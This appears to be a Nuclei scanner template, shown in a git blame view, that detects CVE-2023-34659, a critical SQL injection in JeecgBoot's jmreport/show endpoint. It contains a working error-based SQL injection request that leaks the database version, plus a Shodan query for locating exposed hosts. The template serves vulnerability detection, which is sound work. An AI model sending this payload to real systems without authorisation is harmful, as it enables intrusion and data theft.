2023-06-22 17:42:57 +00:00
|
|
|
id: CVE-2023-34659
|
|
|
|
|
|
|
|
info:
|
2023-07-01 13:28:25 +00:00
|
|
|
name: JeecgBoot 3.5.0 - SQL Injection
|
2023-06-22 17:42:57 +00:00
|
|
|
author: ritikchaddha
|
|
|
|
severity: critical
|
|
|
|
description: |
|
|
|
|
jeecg-boot 3.5.0 and 3.5.1 have a SQL injection vulnerability the id parameter of the /jeecg-boot/jmreport/show interface.
|
|
|
|
reference:
|
|
|
|
- https://github.com/jeecgboot/jeecg-boot/issues/4976
|
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2023-34659
|
|
|
|
classification:
|
2023-07-01 13:28:25 +00:00
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
|
|
cvss-score: 9.8
|
2023-06-22 17:42:57 +00:00
|
|
|
cve-id: CVE-2023-34659
|
2023-07-01 13:28:25 +00:00
|
|
|
cwe-id: CWE-89
|
2023-06-22 17:42:57 +00:00
|
|
|
metadata:
|
2023-07-01 13:34:21 +00:00
|
|
|
max-request: 1
|
2023-06-22 17:42:57 +00:00
|
|
|
shodan-query: http.favicon.hash:1380908726
|
|
|
|
tags: cve,cve2023,jeecg,sqli
|
|
|
|
|
|
|
|
http:
|
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
POST /jeecg-boot/jmreport/show HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: application/json;charset=UTF-8
|
|
|
|
|
|
|
|
{"id":"961455b47c0b86dc961e90b5893bff05","apiUrl":"","params":"{"id":"1' or '%1%' like (updatexml(0x3a,concat(1,(version())),1)) or '%%' like '"}"}
|
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
part: body
|
|
|
|
words:
|
|
|
|
- "XPATH syntax error:"
|
|
|
|
- "SQLException"
|
|
|
|
condition: and
|
|
|
|
|
|
|
|
- type: word
|
|
|
|
part: header
|
|
|
|
words:
|
|
|
|
- application/json
|
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|